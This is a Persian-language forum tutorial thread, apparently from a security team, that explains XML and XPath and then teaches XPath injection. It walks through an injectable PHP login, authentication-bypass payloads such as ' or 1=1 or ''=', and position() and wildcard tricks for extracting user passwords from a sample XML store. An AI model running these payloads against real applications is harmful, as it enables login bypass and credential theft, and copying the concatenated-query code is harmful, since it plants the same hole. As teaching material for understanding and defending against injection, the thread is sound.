پست های پیشنهاد شده

به نام خدا

در این سری آموزش ها، ابتدا توضیحاتی راجع به زبانXML  داده می شود، سپس در ادامه به بررسی(XPath)  XML Path language در XML میپردازیم و درنهایت به صورت عملی روش ها و تکنیک های Xpath Injection رو توضیح می دهیم.

این آموزش در 3 قسمت ارایه می شود: 

قسمت اول آموزش

قسمت دوم آموزش

قسمت سوم آموزش

دوستانی که سوال، نظر یا پیشنهادی در مورد آموزش ها دارند در بخش سوال و جواب های  انجمن مطرح کنند.

موفق باشید

 

GUARDIRAN SECURITY TEAM

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

قسمت اول

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

زبان XML

همانطور که مطلع هستید اگر ما بخواهیم حملات SQLInjection انجام بدیم نیاز به دانستن ساختار و دانش پایگاه داده مثل (جداول، سطرها، ستون و..) هستیم در حملات XPath Injection هم به همین صورت نیاز به درک اصطلاحات، ساختار و دانش اولیه در مورد XML است.

در پایین مقدمه ای برای درک اصطلاحات XML از سایت w3schools.com گرفته شده است.

  • XML مخفف زبان نشانه گذاری Extensible Markup Language است
  • XML یک زبان نشانه گذاری شبیه به HTML است.
  • XML برای ذخیره و انتقال اطلاعات طراحی شده است
  • تگ‌های XML از قبل تعریف نشده‌اند، خودتان‌ باید تگ ها را تعریف کنید.
  • XML به صورت خود توصیفی (self-descriptive) طراحی شده است.

 

XMLهیچ کاری انجام نمی‌دهد!

مثال زیر متنی است از طرف mary برای ajax با XML نوشته شده:

 

1.   <note>  

2.     <to>Ajax</to>  

3.     <from> Mary </from>  

4.     <heading>Reminder</heading>  

5.     <body>Don't forget me this weekend!</body>  

6.   </note>  

 

متن بالا یک متن خود‌ توصیفی است. این متن اطلاعاتی در مورد ارسال کننده (from)  و دریافت کننده  (to) دارد و همچنین دارای یک عنوان (heading) و یک پیغام (body) است.

اما این سند XML هنوز هیچ کاری انجام نمی‌دهد و تنها یکسری اطلاعات است که درون تگ‌ها قرار گرفته، یک نفر باید برای ارسال، دریافت یا نمایش این سند برنامه‌ای بنویسد.

 

توسط XML شما تگ‌ های خودتان را می‌سازید

تگ‌ های مثال بالا مثل <to> و <from> در هیچ استانداردی برای XML تعریف نشده‌اند. این تگ ‌ها توسط نویسنده این سند XML ساخته شده‌اند به دلیل این که زبان XML هیچ تگ از پیش تعریف شده‌ای ندارد.

تگ‌هایی که درون HTML استفاده می‌شوند از قبل تعریف شده‌اند. یک سند HTML فقط می‌تواند از تگ‌هایی استفاده کند که در استاندارد HTML تعریف شده باشند مثل <h1> ،<p>  و ...

XML اجازه می‌دهد که نویسنده خودش ، تگ ها و همچنین ساختار سند را تعریف کند.

 

تفاوت  بین XML  و HTML

  • XML برای توصیف داده‌ها و تمرکز بر محتوای داده‌ها طراحی شده است.
  • HTML برای نمایش داده‌ها و نحوه‌ ی نمایش داده‌ها طراحی شده است.
  • HTML مخصوص نمایش داده‌ ها است در حالی که XML مخصوص انتقال اطلاعات است.

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

XPath

قبل از یادگیری XPath، ابتدا باید XSL را که مخفف extensible Stylesheet Language است را درک کنیم که همانند CSS برای HTML است.

در اسناد HTML، تگ های از پیش تعریف شده مانند table، div، span و غیره... استفاده می شود. مرورگر می- داند که چگونه آن ها را (با استفاده از CSS) نمایش دهد.

همانطور که گفته شد در اسناد XML، تگ ها از پیش تعریف نمی شوند به منظور درک و به رسمیت شناختن یک سند XML، کنسرسیوم جهانی وب،  XSLرا توسعه داده است که می تواند به عنوان یک زبان Stylesheet مبتنی بر XML عمل کند. یک سند XSL مشخص می کند چگونه یک مرورگر باید سند XML را ارائه دهد.

 

بخش های اصلی XSL 

  •   XSL برای تبدیل اسناد XML به انواع دیگر سند استفاده می شود.
  •   XPath برای سرچ و بازیابی داده ها در اسناد XML استفاده می شود.
  •   XSL-FO برای فرمت XML اسناد استفاده می شود.

 

پس XPath یک زبان پرس و جو است که برای آدرس دهی و سرچ اطلاعات در یک سند XML استفاده می شود.

 

در هنگام کار با XPath، باید نکات زیر را در نظر داشته باشید:

  • XPath یک عنصر اصلی در استاندارد XSLT است  
  • XSLT نمی تواند بدون XPath کار کند.
  •  XPath مبتنی بر XQuery و XPointer است.

 

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

اصطلاحات  XPath

گره ها (nodes)

درXPath، هفت نوع گره وجود دارد: عنصر، ویژگی، متن، فضای نام، پردازش، نظر، و گره های سند.

  • Root
  •  Element
  •  Text
  • Attribute
  •  Comment
  • Processing Instruction
  •  Namespace

اسناد XML به عنوان درختان گره به محسوب می شوند. بالاترین عنصر درخت عنصر ریشه (root) است.

 

به سند XML زیر نگاه کنید:

1.   <?xml version="1.0" encoding="UTF-8"?>  

2.   <bookstore>  

3.     <book>  

4.       <title lang="en">Harry Potter</title>  

5.       <author>J K. Rowling</author>  

6.       <year>2005</year>  

7.       <price>29.99</price>  

8.     </book>  

9.   </bookstore>  

 

مثال گره در سند XML بالا :

1.   <bookstore> (root element node)  

2.   <author>J K. Rowling</author> (element node)  

3.   lang="en" (attribute node)  

 

 ارزش های ریز (Atomic values)

مقادیر اتمی، گره های بدون فرزند یا والدین است.

مثال مقادیر ریز :

1.   J K. Rowling  

2.   "en"  

آیتم ها (Items)

آیتم ها، مقادیر اتمی یا گره ها هستند.

 

رابطه گره ها (Relationship of Nodes)

1.والدین (Parent)

هر عنصر و ویژگی یک والد دارد.

در مثال زیر: عنصر book، والدین title, author, year, price است.

1.   <book>  

2.     <title>Harry Potter</title>  

3.     <author>J K. Rowling</author>  

4.     <year>2005</year>  

5.     <price>29.99</price>  

6.   </book> 

 

 

 

2.فرزندان (Children)

گره های عنصر ممکن است صفر، یک یا چند فرزند داشته باشند.

در مثال زیر: title, author, year, price همه فرزندان عنصر عنصر book هستند.

1.   <book>  

2.     <title>Harry Potter</title>  

3.     <author>J K. Rowling</author>  

4.     <year>2005</year>  

5.     <price>29.99</price>  

6.   </book>  

 

 

3.هم نژاد (Siblings)

گره هایی که والدین مشابه دارند.

در مثال زیر: title, author, year, price همه هم نژاد هستند. 

1.   <book>  

2.     <title>Harry Potter</title>  

3.     <author>J K. Rowling</author>  

4.     <year>2005</year>  

5.     <price>29.99</price>  

6.   </book>  

 

4. اجداد (Ancestors)

والدین گره، پدر و مادر والدین و غیره

در مثال زیر:عنصر bookstore اجداد title, author, year, price و book است.

1.   <bookstore>  

2.   <book>  

3.     <title>Harry Potter</title>  

4.     <author>J K. Rowling</author>  

5.     <year>2005</year>  

6.     <price>29.99</price>  

7.   </book>  

8.   </bookstore>  

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

XPath Syntax

XPath از عبارات مسیر (path) برای انتخاب گره ها (nodes) در یک سند XML استفاده می کند.

این عبارات مسیر بسیار شبیه عبارات مسیری است که شما با سیستم فایل های کامپیوتری سنتی استفاده می کنید:

image.png.82f2f63215aa3ae46c34df8c822a1c70.png

 

پر کار برد ترین اصطلاحات )دستورات( برای انتخاب مسیر ، به شرح زیر می باشد :

توضیحات

عبارت

انتخاب تمام گره ها از  "اسم گره"

اسم گره (node name)

انتخاب از گره ریشه اصلی

/

انتخاب گره ها از فایل جاری

//

انتخاب گره ی فعلی

.

انتخاب زیر مجموعه گره از گره ی فعلی

..

انتخاب ویژگی )متغیر(

@

 

جست جوی عبارات مشخص (Predicate)

برای پیدا کردن یک گره خاص یا گره ای که حاوی مقدار خاصی (استخراج گره ها به همراه مقدار های ذخیره شده) هستند استفاده می شود.

Predicate همیشه به شکل براکت [ ] هستند.

 

نمونه ی یک سند XML

 

 

1.   <?xml version="1.0" encoding="UTF-8"?>  

2.     

3.   <bookstore>  

4.     

5.   <book>  

6.     <title lang="en">Harry Potter</title>  

7.     <price>39.99</price>  

8.   </book>  

9.     

10. <book>  

11.   <title lang="en">Learning XML</title>  

12.   <price>35.00</price>  

13. </book>  

14.   

15. </bookstore>  

 

در جدول زیر مثال هایی از سند بالا بیان شده است :

نتایج

مسیر ها به همراه دستورات

انتخاب المنت اول از مجموعه المنت های bookstore

/bookstore/book[1]

انتخاب آخرین کتاب از المنت هایbookstore  

/bookstore/book[last()]

انتخاب تمامی المنت های موجود به جز آخرین المنت

/bookstore/book[last()-1]

انتخاب اولین دو کتاب از مجموعه المنت هایbookstore  

/bookstore/book[position()<3]

انتخاب موضوع تمامی المنت هایی که دارای المنت lang هستند

//title[@lang]

انتخاب تمامی موضوعاتی که دارای المنت lang با مقدار en هستند

//title[@lang='en']

انتخاب تمامی کتاب هایی که قیمت آن ها بزرگ تر از 35.00 هستند در مجموع المنت های bookstore  

/bookstore/book[price>35.00]

انتخاب تمامی موضوعات کتاب ها در مجموعه bookstore  که قیمت آن ها بیشتر از 35.00 می باشد

 

/bookstore/book[price>35.00]/title

 

انتخاب مسیر های نامشخص (Selecting Unknown Nodes)

برای انتخاب گره های ناشناخته XML می توانیم از  wildcards XPath استفاده کرد.

 

 

توضیحات

Wildcard

در نظر گرفتن هر گره عنصر

*

در نظر گرفتن هر المنت در گره

@*

در نظر گرفتن هر گره در هر جایی

node()

 

انتخاب چندین مسیر (Selecting Several Paths)

با استفاده از عملگر |  میتوانیم به چندین مسیر درXPath  دست یابیم و استفاده کنیم .با این عملگر میتوانیم چندین مسیر را درXPath  انتخاب کنیم .

 

 

نتایج

مسیرها

انتخاب موضوعات و قیمت ها از المنت های درون المنت کتاب

//book/title | //book/price

انتخاب تمامی موضوعات و قیمت ها در سند

//title | //price

انتخاب تمامی موضوعات در المنت های کتاب در المنت های
bookstore  و قیمت ها در سند

/bookstore/book/title | //price

 

تا اینجا با مفهموم XPath آشنا شدید، در ادامه یک مثال از نحوه ی جست جوی عبارات با هم کار میکنیم تا مطلب بهتر درک شود.

 

اگر یک کد php به صورت زیر داشته باشیم:

1.   <?php  

2.   $result = '';  

3.   if(isset($_POST['submit'])){  

4.   $doc = new DOMDocument;  

5.   $doc->load('coffee.xml');  

6.   $xpath = new DOMXPath($doc);  

7.   $input = $_POST['search'];  

8.   $query = $input;  

9.   $result = $xpath->query($query);  

10. }  

11. ?>  

 

این کد یک فایل XML به نام coffee.xml رو لود میکنه که دارای یک button جستجو است و وقتی روی اون کلیک شد نتایج از فایل coffee.xml  فراخوانی می شود درواقع ورودی ما همان کوئری میشود که ارسال می کنیم.

 

کدهای فایل coffee.xml  نیز به این صورت است:

 

1.   <Coffees>  

2.     <Coffee ID="1">  

3.       <ID>1</ID>  

4.       <Name>Affogato</Name>  

5.       <Desc>ID 1</Desc>  

6.       <Price>$4.69</Price>  

7.     </Coffee>  

8.    

9.     <Coffee ID="2">  

10.     <ID>2</ID>  

11.     <Name>Americano</Name>  

12.     <Desc>ID 2</Desc>  

13.     <Price>$5.00</Price>  

14.   </Coffee>  

15.  

16.   <Coffee ID="3">  

17.     <ID>3</ID>  

18.     <Name>Bicerin</Name>  

19.     <Desc>ID 3</Desc>  

20.     <Price>$8.90</Price>  

21.   </Coffee>  

22.  

23.   <Coffee ID="4">  

24.     <ID>4</ID>  

25.     <Name>Café Bombón</Name>  

26.     <Desc>ID 4</Desc>      

27.     <Price>$7.08</Price>  

28.   </Coffee>  

29.  

30.   <Coffee ID="5">  

31.     <ID>5</ID>  

32.     <Name>Café au lait</Name>  

33.     <Desc>ID 5</Desc>  

34.     <Price>$10.15</Price>  

35.   </Coffee>  

36. </Coffees> 

 

 

مطابق جدولی که مربوط به Predicate میشد می توان هرکدام از دستورات رو در اینجا تست کرد برای مثال می خواهیم که اولین المنت از مجموعه المنت های Coffees رو جستجو کنیم:

 

image.png.edf6fdbc18b3a345a30bc4105b3375b2.png

 

با استفاده از تابع ()position نیز میتوانیم خروجی های متفاوت تری داشته باشیم مثلا میتوانیم دوتا المنت اول رو در خروجی نمایش دهیم:

image.png.adbe4bd8ba2c30aafc75ee2762a5e2e7.png

 

خروجی دیگر دستورات نیز به همان صورتی است که در جدول مربوط به Predicate ذکر شده است.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

پایان قسمت اول

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

قسمت دوم 

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

در قسمت اول به طور خلاصه با مبانی XML و XPath آشنا شدید. 

در ادامه به بررسی آسیب پذیری های XML و همچنین بایپس ها و متدهای تزریقی زبان پرس و جوی  XPath  می پردازیم. قبل از اینکه به مبحث XPath Injection بپردازم ابتدا چند مورد پیش نیاز رو توضیح خواهم داد.

عملگرهای منطقی  (logical operators)

عملگرهای منطقی، منطق بین مقادیر رو مشخص می کند که خروجی آن یک مقدارtrue / false)  Boolean) است.

 

عملگر

نام

&&

AND

||

OR

 

ترکیب شروط

عملوند اول
A

عملوند دوم
 B

نتیجه
A && B

نتیجه
A || B

True

True

True

True

True

False

False

True

False

True

False

True

False

False

False

False

 

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

مقدمه ای برای XPATH Injection

می دانید که پایگاه داده برای احراز هویت، جستجو و نگهداری اطلاعات و سایر موارد استفاده می شود.

در یک سند xml نیز با استفاده از XPath querying پرس و جویی هایی به سمت فایل های XML که دیتابیس ما محسوب می شود انجام می گیرد.

تزریقات ما شبیه به SQL است با این تفاوت که کوئری ها و همچنین نتایج متفاوت است.

 

مثالی ساده از XPATH Injection

یک برنامه وب را که از XPath برای پرس و جوی یک سند XML و بازیابی استفاده می کند را در نظر بگیرید این سند به گونه ای عمل می کند که نام کاربری و رمز عبور را از مشتری دریافت می کند چنین برنامه ای می- تواند این مقادیر را به طور مستقیم در XPath query قرار دهد

برای مثال :

کد php

1.   if(isset($_REQUEST["login"]) & isset($_REQUEST["password"]))  

2.   {  

3.     

4.       $login = $_REQUEST["login"];  

5.       $login = xmli($login);  

6.     

7.       $password = $_REQUEST["password"];  

8.       $password = xmli($password);  

9.     

10.     // Loads the XML file  

11.     $xml = simplexml_load_file("passwords/heroes.xml");  

12.   

13.     // XPath search  

14.     $result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");  


 

کد xml

1.   <?xml version="1.0" encoding="UTF-8"?>  

2.   <heroes>  

3.       <hero>  

4.           <id>1</id>  

5.           <login>neo</login>  

6.           <password>trinity</password>  

7.           <secret>Oh why didn't I took that BLACK pill?</secret>  

8.       </hero>  

9.       <hero>  

10.         <id>2</id>  

11.         <login>alice</login>  

12.         <password>loveZombies</password>  

13.         <secret>There's a cure!</secret>  

14.     </hero>  

15.     <hero>  

16.         <id>3</id>  

17.         <login>thor</login>  

18.         <password>Asgard</password>  

19.         <secret>Oh, no... this is Earth... isn't it?</secret>  

20.     </hero>  

21.     <hero>  

22.         <id>4</id>  

23.         <login>wolverine</login>  

24.         <password>Log@N</password>  

25.         <secret>What's a Magneto?</secret>  

26.     </hero>  

27.     <hero>  

28.         <id>5</id>  

29.         <login>johnny</login>  

30.         <password>m3ph1st0ph3l3s</password>  

31.         <secret>I'm the Ghost Rider!</secret>  

32.     </hero>  

33.     <hero>  

34.         <id>6</id>  

35.         <login>selene</login>  

36.         <password>m00n</password>  

37.         <secret>It wasn't the Lycans. It was you.</secret>  

38.     </hero>  

39. </heroes>  

 

و صفحه ی login ما نیز به صورت زیر است:

image.png.cdaafd53a557fb53e0a55defd77fca11.png

 

قاعدتا ورودی که توسط کاربر وارد می شود را نمی دانیم می توان از مقدار زیر به جای نام کاربری و پسورد از کد زیر جهت بایپس عملیات بالا استفاده کرد:

1.   ' or 1=1 or ''='  

image.png.7849935169616eb24a54a9eef33d0f62.png

 

می بینید که id 1 با نام کاربری neo رو نمایش داد.

1.       <hero>  

2.           <id>1</id>  

3.           <login>neo</login>  

4.           <password>trinity</password>  

5.           <secret>Oh why didn't I took that BLACK pill?</secret>  

6.       </hero> 

 

دلیل این کار چیست؟

query ما در کد php به این صورت است:

1.   xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']");  

 

  ورودی که ما وارد کرده ایم به این صورت است:

1.PNG.213286ade0a6d42fb8d3001adfeebb5a.PNG

 

2.PNG.280dacbed00227b2fd7a489345d11327.PNG

 

در این ترکیب شروط تنها قسمت اول مورد مقایسه انجام گرفته است که true می باشد. اگر شرط ما درست باشد با تمامی یوزرهای درون دیتابیس XML مطابقت دارد یعنی تمام آن ها را برمیگرداند ولی برای اینکه خروجی کمتری داشته باشیم کد php به صورتی نوشته ایم که تنها یوزر اول نمایش داده شود.

image.png

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر

تزریق در فایل XML با دانش صفر

گزینه های مورد بررسی :

1.       تست و تایید XPATHi

2.       تکرار روی گره ها + استخراج داده ها از گره ها

3.       استخراج داده از گره ها و المنت های هم نژاد

 

1.تست و تایید XPATHi

تست و تایید XPATHi مهمترین بخش است. وقتی ما یک ورودی را می بینیم، اولین چیزی که بررسی می- کنیم استفاده از متد های تست است:

1.   1 or 1=1  

2.   1 or true  

3.   ' or ''='  

4.   " or ""=" 

در مورد XPATH یا SQLi و بسیاری از تزریق های دیگر از همین متدها استفاده خواهیم کرد بنابراین برای تایید اینکه آیا XPATHi است از متد ()position  استفاده میکنیم که مربوط به XPATH است:

 

1.   1 or postition()=1 or 1=1  

2.   1 or postition()=1 or true  

3.   ' or postition()=1 or ''='  

4.   " or postition()=1 or ""="  

اگر هر کدام از موارد بالا کار کرد، می توانید فرض کنید تزریق شما با یک تزریق XPATH انجام می شود.

 

2.تکرار روی گره ها + استخراج داده ها  از گره ها

کد xml ما به صورت زیر است:

1.   <userdb>  

2.       <user>  

3.           <id>1</id>  

4.           <username>Jefferson</username>  

5.           <password>Jutobi</password>  

6.           <phone>123-456-7890</phone>  

7.       </user>  

8.       <user>  

9.           

10.         <id>2</id>  

11.         <username>Alexandra</username>  

12.         <password>securityidiots</password>  

13.         <phone>603-478-4115</phone>  

14.     </user>  

15.     <user>  

16.        

17.         <id>3</id>  

18.         <username>Zen</username>  

19.         <password>@lltogether</password>  

20.         <phone>222-222-2222</phone>  

21.     </user>  

22. </userdb>  

یک کوئری SQL را به صورت زیر در نظر بگیرید:

1.   select username from userdb.user where id=1  

 

اگر بخواهیم آن را به یک کوئری XPATH  تبدیل کنیم به این صورت عمل میکنیم:

1.   /userdb/user[id='1']/username  

 

همانطور که در پرس و جو بالا می بینید، ابتدا مسیر رو مشخص کردیم، سپس شرایط و سپس آنچه که ما می خواهیم استخراج کنیم را مشخص کرده ایم.

اگر به جای رشته عبارت ورودی [id='1'] ما از متد بایپس استفاده کنیم که در بالا توضیح داده شد به این صورت:

2.   /userdb/user[id='' or 1=1 or ''='']/username  

میتوانیم جزئیات مربوط به اولین کاربر را مشاهده کنیم.

 

فرض بر این است که ما شناسه کاربر (ID) را برای هر کاربر نمی شناسیم و می خواهیم نام های کاربری همه کاربران را بررسی کنیم، بنابراین می توانیم از متدposition ()  استفاده کنیم. یک مثال از متدposition ()  :

1.   /userdb/user[position()=1]/username  

2.   extract the first username which is "Jefferson"  

3.     استخراج اولین یوزر

4.     

5.   /userdb/user[position()=2]/username  

6.   extract the first username which is "Alaxandra"  

7.   استخراج دومین یوزر

8.     

9.   /userdb/user[position()=3]/username  

10. extract the first username which is "Zen"

11. استخراج سومین یوزر 

 

میخواهیم پرس و جویی که قبلا انجام دادیم را با استفاده از متد ()position  تزریق کنیم:

1.   /userdb/user[id='' or position()=1 or '']/username  

2.   extract the first username which is "Jefferson"  

3.   استخراج اولین یوزر

 

در اینجا گفته ایم که شناسه باید خالی باشد و نام کاربری اولین یوزر را دریافت کنیم اما این تزریق به ما اجازه نمی دهد که جزییات دیگری، مانند ستون های دیگر در SQL یا XPATH یا دیگر المنت های هم نژاد رو به دست آوریم زیرا در انتهای جستجو گفته ایم که تنها نام کاربری را دریافت کنیم.

 

 

3.استخراج داده از گره ها و المنت های هم نژاد

 

برای استخراح داده ها و المنت های هم نژاد از عملگر pipe استفاده می کنیم که دو کوئری رو باهم ترکیب می کند مثال :

1.   /userdb/user[id='' or position()=1]/password|a['']/username  

2.   extract the first user's password which is "Jutobi"  

استخراج پسورد یوزر اول

 

خب در اینجا ما نام ستون رو برای کلمه عبور،  password قرار دادیم که فقط یک فرض بود اما گر نام ستون برای کلمه عبور “my-pass” باشد چگونه می توان آن را استخراج کرد؟ می توان از یک ترفند استفاده کنیم! اگر در قسمت 1 آموزش انتخاب مسیر های نامشخص را خوانده باشید می توانیم برای انتخاب گره یا عنصر ناشناخته از * استفاده کنیم:

1.   /userdb/user[id='' or position()=1]/*[1]|a['']/username  

2.   get the First element for first user which is '1'.  

المنت اول از گره اول

/userdb/user[id='' or position()=1]/*[2]|a['']/username  

get the Second  element for first user which is "Jefferson".  

المنت دوم از گره اول

/userdb/user[id='' or position()=1]/*[3]|a['']/username  

get the third element for first user which is "Jutobi".  

المنت سوم از گره اول

/userdb/user[id='' or position()=1]/*[4]|a['']/username  

get the forth  element for first user which is "123-456-7890".  

المنت چهارم از گره اول

 

راه های فوق بهترین راه برای استخراج داده از فایل های آسیب پذیر XML می باشند. به این صورت شما میتوانید اینجکت خود را انجام دهید و به داده های درون فایل های دست یابید.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

پایان قسمت دوم

به اشتراک گذاری این ارسال


لینک به ارسال
به اشتراک گذاری در سایت های دیگر
مهمان
این موضوع برای عدم ارسال قفل گردیده است.